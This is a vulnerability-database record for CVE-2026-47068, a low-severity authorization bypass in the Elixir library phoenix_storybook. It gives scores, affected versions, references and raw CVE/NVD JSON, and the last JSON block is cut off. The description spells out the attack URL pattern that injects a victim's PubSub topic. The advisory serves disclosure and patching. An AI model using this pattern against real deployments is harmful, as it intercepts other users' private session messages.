Vulnerability-Lookup

CVE-2026-47068 (GCVE-0-2026-47068)

Vulnerability from cvelistv5 – Published: 2026-05-20 13:35 – Updated: 2026-05-27 15:41

Title

Cross-session PubSub topic injection via URL parameter in phoenix_storybook

Summary

Authorization Bypass Through User-Controlled Key vulnerability in phenixdigital phoenix_storybook allows cross-session PubSub topic injection via a URL query parameter. 'Elixir.PhoenixStorybook.Story.ComponentIframeLive':handle_params/3 in lib/phoenix_storybook/live/story/component_iframe_live.ex reads a PubSub topic directly from params["topic"] and broadcasts {:component_iframe_pid, self()} on it with no check that the topic belongs to the requesting session. The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a session-specific topic and uses the received iframe pid to direct subsequent control messages (variation state, theme switches, extra-assign payloads) via send/2. Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> causes their iframe process pid to be announced on the victim's topic. The victim's playground then addresses its private messages to the attacker's iframe process. This issue affects phoenix_storybook from 0.4.0 before 1.1.0.

Severity

2.3 (Low)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-639 - Authorization Bypass Through User-Controlled Key

Assigner

EEF

References

4 references

URL	Tags
https://github.com/phenixdigital/phoenix_storyboo…	vendor-advisoryrelated
https://cna.erlef.org/cves/CVE-2026-47068.html	related
https://osv.dev/vulnerability/EEF-CVE-2026-47068	related
https://github.com/phenixdigital/phoenix_storyboo…	patch

Impacted products

2 products

Vendor	Product	Version
phenixdigital	phoenix_storybook	Affected: 0.4.0 , < 1.1.0 (semver) cpe:2.3:a:phenixdigital:phoenix_storybook::::::::
phenixdigital	phoenix_storybook	Affected: 8c2c97b0f505780fee4069988bf86736f51d35d7 , < 6ee03f1c738d4436dde1b066cf65c80663d489f5 (git) cpe:2.3:a:phenixdigital:phoenix_storybook::::::::

Credits

Peter Ullrich Christian Blavier Jonatan Männchen / EEF

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-47068",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-21T13:59:23.206364Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-21T13:59:48.062Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-mrhx-6pw9-q5fh"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://repo.hex.pm",
          "cpes": [
            "cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027"
          ],
          "packageName": "phoenix_storybook",
          "packageURL": "pkg:hex/phoenix_storybook",
          "product": "phoenix_storybook",
          "programFiles": [
            "lib/phoenix_storybook/live/story/component_iframe_live.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3"
            }
          ],
          "repo": "https://github.com/phenixdigital/phoenix_storybook",
          "vendor": "phenixdigital",
          "versions": [
            {
              "lessThan": "1.1.0",
              "status": "affected",
              "version": "0.4.0",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://github.com",
          "cpes": [
            "cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027"
          ],
          "packageName": "phenixdigital/phoenix_storybook",
          "packageURL": "pkg:github/phenixdigital/phoenix_storybook",
          "product": "phoenix_storybook",
          "programFiles": [
            "lib/phoenix_storybook/live/story/component_iframe_live.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3"
            }
          ],
          "repo": "https://github.com/phenixdigital/phoenix_storybook",
          "vendor": "phenixdigital",
          "versions": [
            {
              "lessThan": "6ee03f1c738d4436dde1b066cf65c80663d489f5",
              "status": "affected",
              "version": "8c2c97b0f505780fee4069988bf86736f51d35d7",
              "versionType": "git"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "1.1.0",
                  "versionStartIncluding": "0.4.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Peter Ullrich"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Christian Blavier"
        },
        {
          "lang": "en",
          "type": "analyst",
          "value": "Jonatan M\u00e4nnchen / EEF"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eAuthorization Bypass Through User-Controlled Key vulnerability in phenixdigital phoenix_storybook allows cross-session PubSub topic injection via a URL query parameter.\u003c/p\u003e\u003cp\u003e\u003ctt\u003e\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3\u003c/tt\u003e in \u003ctt\u003elib/phoenix_storybook/live/story/component_iframe_live.ex\u003c/tt\u003e reads a PubSub topic directly from \u003ctt\u003eparams[\"topic\"]\u003c/tt\u003e and broadcasts \u003ctt\u003e{:component_iframe_pid, self()}\u003c/tt\u003e on it with no check that the topic belongs to the requesting session. The shared \u003ctt\u003ePhoenixStorybook.PubSub\u003c/tt\u003e is used to coordinate playground LiveViews with their iframes: a playground subscribes to a session-specific topic and uses the received iframe pid to direct subsequent control messages (variation state, theme switches, extra-assign payloads) via \u003ctt\u003esend/2\u003c/tt\u003e. Because the iframe trusts the query parameter, an attacker who loads \u003ctt\u003e/storybook/iframe/\u0026lt;story\u0026gt;?topic=\u0026lt;victim_topic\u0026gt;\u003c/tt\u003e causes their iframe process pid to be announced on the victim\u0027s topic. The victim\u0027s playground then addresses its private messages to the attacker\u0027s iframe process.\u003c/p\u003e\u003cp\u003eThis issue affects phoenix_storybook from 0.4.0 before 1.1.0.\u003c/p\u003e"
            }
          ],
          "value": "Authorization Bypass Through User-Controlled Key vulnerability in phenixdigital phoenix_storybook allows cross-session PubSub topic injection via a URL query parameter.\n\n\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3 in lib/phoenix_storybook/live/story/component_iframe_live.ex reads a PubSub topic directly from params[\"topic\"] and broadcasts {:component_iframe_pid, self()} on it with no check that the topic belongs to the requesting session. The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a session-specific topic and uses the received iframe pid to direct subsequent control messages (variation state, theme switches, extra-assign payloads) via send/2. Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/\u003cstory\u003e?topic=\u003cvictim_topic\u003e causes their iframe process pid to be announced on the victim\u0027s topic. The victim\u0027s playground then addresses its private messages to the attacker\u0027s iframe process.\n\nThis issue affects phoenix_storybook from 0.4.0 before 1.1.0."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-12",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-12 Choosing Message Identifier"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 2.3,
            "baseSeverity": "LOW",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "LOW"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639 Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-27T15:41:37.339Z",
        "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "shortName": "EEF"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory",
            "related"
          ],
          "url": "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-mrhx-6pw9-q5fh"
        },
        {
          "tags": [
            "related"
          ],
          "url": "https://cna.erlef.org/cves/CVE-2026-47068.html"
        },
        {
          "tags": [
            "related"
          ],
          "url": "https://osv.dev/vulnerability/EEF-CVE-2026-47068"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/phenixdigital/phoenix_storybook/commit/6ee03f1c738d4436dde1b066cf65c80663d489f5"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Cross-session PubSub topic injection via URL parameter in phoenix_storybook",
      "x_generator": {
        "engine": "cvelib 1.8.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
    "assignerShortName": "EEF",
    "cveId": "CVE-2026-47068",
    "datePublished": "2026-05-20T13:35:33.215Z",
    "dateReserved": "2026-05-18T17:28:08.321Z",
    "dateUpdated": "2026-05-27T15:41:37.339Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-47068",
      "date": "2026-07-26",
      "epss": "0.00449",
      "percentile": "0.36694"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-47068\",\"sourceIdentifier\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\",\"published\":\"2026-05-20T14:17:01.557\",\"lastModified\":\"2026-07-23T12:10:00.110\",\"vulnStatus\":\"Deferred\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Authorization Bypass Through User-Controlled Key vulnerability in phenixdigital phoenix_storybook allows cross-session PubSub topic injection via a URL query parameter.\\n\\n\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3 in lib/phoenix_storybook/live/story/component_iframe_live.ex reads a PubSub topic directly from params[\\\"topic\\\"] and broadcasts {:component_iframe_pid, self()} on it with no check that the topic belongs to the requesting session. The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a session-specific topic and uses the received iframe pid to direct subsequent control messages (variation state, theme switches, extra-assign payloads) via send/2. Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/\u003cstory\u003e?topic=\u003cvictim_topic\u003e causes their iframe process pid to be announced on the victim\u0027s topic. The victim\u0027s playground then addresses its private messages to the attacker\u0027s iframe process.\\n\\nThis issue affects phoenix_storybook from 0.4.0 before 1.1.0.\"},{\"lang\":\"es\",\"value\":\"Vulnerabilidad de elusi\u00f3n de autorizaci\u00f3n mediante clave controlada por el usuario en phenixdigital phoenix_storybook permite la inyecci\u00f3n de temas PubSub entre sesiones a trav\u00e9s de un par\u00e1metro de consulta de URL.\\n\\n\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3 en lib/phoenix_storybook/live/story/component_iframe_live.ex lee un tema PubSub directamente de params[\\\"topic\\\"] y transmite {:component_iframe_pid, self()} en \u00e9l sin ninguna comprobaci\u00f3n de que el tema pertenezca a la sesi\u00f3n solicitante. El PhoenixStorybook.PubSub compartido se utiliza para coordinar los LiveViews del playground con sus iframes: un playground se suscribe a un tema espec\u00edfico de la sesi\u00f3n y utiliza el pid del iframe recibido para dirigir mensajes de control posteriores (estado de variaci\u00f3n, cambios de tema, cargas \u00fatiles de asignaci\u00f3n extra) a trav\u00e9s de send/2. Debido a que el iframe conf\u00eda en el par\u00e1metro de consulta, un atacante que carga /storybook/iframe/\u003cstory\u003e?topic=\u003cvictim_topic\u003e hace que el pid de su proceso de iframe sea anunciado en el tema de la v\u00edctima. El playground de la v\u00edctima entonces dirige sus mensajes privados al proceso de iframe del atacante.\\n\\nEste problema afecta a phoenix_storybook desde 0.4.0 antes de 1.1.0.\"}],\"affected\":[{\"source\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\",\"affectedData\":[{\"vendor\":\"phenixdigital\",\"product\":\"phoenix_storybook\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://repo.hex.pm\",\"packageName\":\"phoenix_storybook\",\"cpes\":[\"cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*\"],\"modules\":[\"\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027\"],\"programFiles\":[\"lib/phoenix_storybook/live/story/component_iframe_live.ex\"],\"programRoutines\":[{\"name\":\"\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3\"}],\"repo\":\"https://github.com/phenixdigital/phoenix_storybook\",\"packageURL\":\"pkg:hex/phoenix_storybook\",\"versions\":[{\"version\":\"0.4.0\",\"lessThan\":\"1.1.0\",\"versionType\":\"semver\",\"status\":\"affected\"}]},{\"vendor\":\"phenixdigital\",\"product\":\"phoenix_storybook\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://github.com\",\"packageName\":\"phenixdigital/phoenix_storybook\",\"cpes\":[\"cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*\"],\"modules\":[\"\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027\"],\"programFiles\":[\"lib/phoenix_storybook/live/story/component_iframe_live.ex\"],\"programRoutines\":[{\"name\":\"\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3\"}],\"repo\":\"https://github.com/phenixdigital/phoenix_storybook\",\"packageURL\":\"pkg:github/phenixdigital/phoenix_storybook\",\"versions\":[{\"version\":\"8c2c97b0f505780fee4069988bf86736f51d35d7\",\"lessThan\":\"6ee03f1c738d4436dde1b066cf65c80663d489f5\",\"versionType\":\"git\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":2.3,\"baseSeverity\":\"LOW\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"PRESENT\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"PASSIVE\",\"vulnConfidentialityImpact\":\"LOW\",\"vulnIntegrityImpact\":\"LOW\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-05-21T13:59:23.206364Z\",\"id\":\"CVE-2026-47068\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-639\"}]}],\"references\":[{\"url\":\"https://cna.erlef.org/cves/CVE-2026-47068.html\",\"source\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\"},{\"url\":\"https://github.com/phenixdigital/phoenix_storybook/commit/6ee03f1c738d4436dde1b066cf65c80663d489f5\",\"source\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\"},{\"url\":\"https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-mrhx-6pw9-q5fh\",\"source\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\"},{\"url\":\"https://osv.dev/vulnerability/EEF-CVE-2026-47068\",\"source\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\"},{\"url\":\"https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-mrhx-6pw9-q5fh\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "redhat_vex": {
      "current_release_date": "2026-05-21T19:57:39+00:00",
      "cve": "CVE-2026-47068",
      "id": "CVE-2026-47068",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "Cross-session PubSub topic injection via URL parameter in phoenix_storybook",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-47068.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-47068\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-05-21T13:59:23.206364Z\"}}}], \"references\": [{\"url\": \"https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-mrhx-6pw9-q5fh\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-05-21T13:59:42.850Z\"}}], \"cna\": {\"title\": \"Cross-session PubSub topic injection via URL parameter in phoenix_storybook\", \"source\": {\"discovery\": \"EXTERNAL\"}, \"credits\": [{\"lang\": \"en\", \"type\": \"finder\", \"value\": \"Peter Ullrich\"}, {\"lang\": \"en\", \"type\": \"remediation developer\", \"value\": \"Christian Blavier\"}, {\"lang\": \"en\", \"type\": \"analyst\", \"value\": \"Jonatan M\\u00e4nnchen / EEF\"}], \"impacts\": [{\"capecId\": \"CAPEC-12\", \"descriptions\": [{\"lang\": \"en\", \"value\": \"CAPEC-12 Choosing Message Identifier\"}]}], \"metrics\": [{\"format\": \"CVSS\", \"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 2.3, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"LOW\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N\", \"userInteraction\": \"PASSIVE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"PRESENT\", \"privilegesRequired\": \"NONE\", \"subIntegrityImpact\": \"NONE\", \"vulnIntegrityImpact\": \"LOW\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"NONE\", \"subConfidentialityImpact\": \"NONE\", \"vulnConfidentialityImpact\": \"LOW\"}, \"scenarios\": [{\"lang\": \"en\", \"value\": \"GENERAL\"}]}], \"affected\": [{\"cpes\": [\"cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*\"], \"repo\": \"https://github.com/phenixdigital/phoenix_storybook\", \"vendor\": \"phenixdigital\", \"modules\": [\"\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027\"], \"product\": \"phoenix_storybook\", \"versions\": [{\"status\": \"affected\", \"version\": \"0.4.0\", \"lessThan\": \"1.1.0\", \"versionType\": \"semver\"}], \"packageURL\": \"pkg:hex/phoenix_storybook\", \"packageName\": \"phoenix_storybook\", \"programFiles\": [\"lib/phoenix_storybook/live/story/component_iframe_live.ex\"], \"collectionURL\": \"https://repo.hex.pm\", \"defaultStatus\": \"unaffected\", \"programRoutines\": [{\"name\": \"\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3\"}]}, {\"cpes\": [\"cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*\"], \"repo\": \"https://github.com/phenixdigital/phoenix_storybook\", \"vendor\": \"phenixdigital\", \"modules\": [\"\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027\"], \"product\": \"phoenix_storybook\", \"versions\": [{\"status\": \"affected\", \"version\": \"8c2c97b0f505780fee4069988bf86736f51d35d7\", \"lessThan\": \"6ee03f1c738d4436dde1b066cf65c80663d489f5\", \"versionType\": \"git\"}], \"packageURL\": \"pkg:github/phenixdigital/phoenix_storybook\", \"packageName\": \"phenixdigital/phoenix_storybook\", \"programFiles\": [\"lib/phoenix_storybook/live/story/component_iframe_live.ex\"], \"collectionURL\": \"https://github.com\", \"defaultStatus\": \"unaffected\", \"programRoutines\": [{\"name\": \"\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3\"}]}], \"references\": [{\"url\": \"https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-mrhx-6pw9-q5fh\", \"tags\": [\"vendor-advisory\", \"related\"]}, {\"url\": \"https://cna.erlef.org/cves/CVE-2026-47068.html\", \"tags\": [\"related\"]}, {\"url\": \"https://osv.dev/vulnerability/EEF-CVE-2026-47068\", \"tags\": [\"related\"]}, {\"url\": \"https://github.com/phenixdigital/phoenix_storybook/commit/6ee03f1c738d4436dde1b066cf65c80663d489f5\", \"tags\": [\"patch\"]}], \"x_generator\": {\"engine\": \"cvelib 1.8.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"Authorization Bypass Through User-Controlled Key vulnerability in phenixdigital phoenix_storybook allows cross-session PubSub topic injection via a URL query parameter.\\n\\n\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3 in lib/phoenix_storybook/live/story/component_iframe_live.ex reads a PubSub topic directly from params[\\\"topic\\\"] and broadcasts {:component_iframe_pid, self()} on it with no check that the topic belongs to the requesting session. The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a session-specific topic and uses the received iframe pid to direct subsequent control messages (variation state, theme switches, extra-assign payloads) via send/2. Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/\u003cstory\u003e?topic=\u003cvictim_topic\u003e causes their iframe process pid to be announced on the victim\u0027s topic. The victim\u0027s playground then addresses its private messages to the attacker\u0027s iframe process.\\n\\nThis issue affects phoenix_storybook from 0.4.0 before 1.1.0.\", \"supportingMedia\": [{\"type\": \"text/html\", \"value\": \"\u003cp\u003eAuthorization Bypass Through User-Controlled Key vulnerability in phenixdigital phoenix_storybook allows cross-session PubSub topic injection via a URL query parameter.\u003c/p\u003e\u003cp\u003e\u003ctt\u003e\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3\u003c/tt\u003e in \u003ctt\u003elib/phoenix_storybook/live/story/component_iframe_live.ex\u003c/tt\u003e reads a PubSub topic directly from \u003ctt\u003eparams[\\\"topic\\\"]\u003c/tt\u003e and broadcasts \u003ctt\u003e{:component_iframe_pid, self()}\u003c/tt\u003e on it with no check that the topic belongs to the requesting session. The shared \u003ctt\u003ePhoenixStorybook.PubSub\u003c/tt\u003e is used to coordinate playground LiveViews with their iframes: a playground subscribes to a session-specific topic and uses the received iframe pid to direct subsequent control messages (variation state, theme switches, extra-assign payloads) via \u003ctt\u003esend/2\u003c/tt\u003e. Because the iframe trusts the query parameter, an attacker who loads \u003ctt\u003e/storybook/iframe/\u0026lt;story\u0026gt;?topic=\u0026lt;victim_topic\u0026gt;\u003c/tt\u003e causes their iframe process pid to be announced on the victim\u0027s topic. The victim\u0027s playground then addresses its private messages to the attacker\u0027s iframe process.\u003c/p\u003e\u003cp\u003eThis issue affects phoenix_storybook from 0.4.0 before 1.1.0.\u003c/p\u003e\", \"base64\": false}]}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-639\", \"description\": \"CWE-639 Authorization Bypass Through User-Controlled Key\"}]}], \"cpeApplicability\": [{\"nodes\": [{\"negate\": false, \"cpeMatch\": [{\"criteria\": \"cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"1.1.0\", \"versionStartIncluding\": \"0.4.0\"}], \"operator\": \"OR\"}]}], \"providerMetadata\": {\"orgId\": \"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\", \"shortName\": \"EEF\", \"dateUpdated\": \"2026-05-27T15:41:37.339Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-47068\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-05-27T15:41:37.339Z\", \"dateReserved\": \"2026-05-18T17:28:08.321Z\", \"assignerOrgId\": \"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\", \"datePublished\": \"2026-05-20T13:35:33.215Z\", \"assignerShortName\": \"EEF\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-47068

Vulnerability from fkie_nvd - Published: 2026-05-20 14:17 - Updated: 2026-06-17 10:54

Severity

2.3 (Low) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://cna.erlef.org/cves/CVE-2026-47068.html
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://github.com/phenixdigital/phoenix_storybook/commit/6ee03f1c738d4436dde1b066cf65c80663d489f5
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-mrhx-6pw9-q5fh
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://osv.dev/vulnerability/EEF-CVE-2026-47068
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-mrhx-6pw9-q5fh

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "collectionURL": "https://repo.hex.pm",
          "cpes": [
            "cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027"
          ],
          "packageName": "phoenix_storybook",
          "packageURL": "pkg:hex/phoenix_storybook",
          "product": "phoenix_storybook",
          "programFiles": [
            "lib/phoenix_storybook/live/story/component_iframe_live.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3"
            }
          ],
          "repo": "https://github.com/phenixdigital/phoenix_storybook",
          "vendor": "phenixdigital",
          "versions": [
            {
              "lessThan": "1.1.0",
              "status": "affected",
              "version": "0.4.0",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://github.com",
          "cpes": [
            "cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027"
          ],
          "packageName": "phenixdigital/phoenix_storybook",
          "packageURL": "pkg:github/phenixdigital/phoenix_storybook",
          "product": "phoenix_storybook",
          "programFiles": [
            "lib/phoenix_storybook/live/story/component_iframe_live.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.PhoenixStorybook.Story.ComponentIframeLive\u0027:handle_params/3"
            }
          ],
          "repo": "https://github.com/phenixdigital/phoenix_storybook",
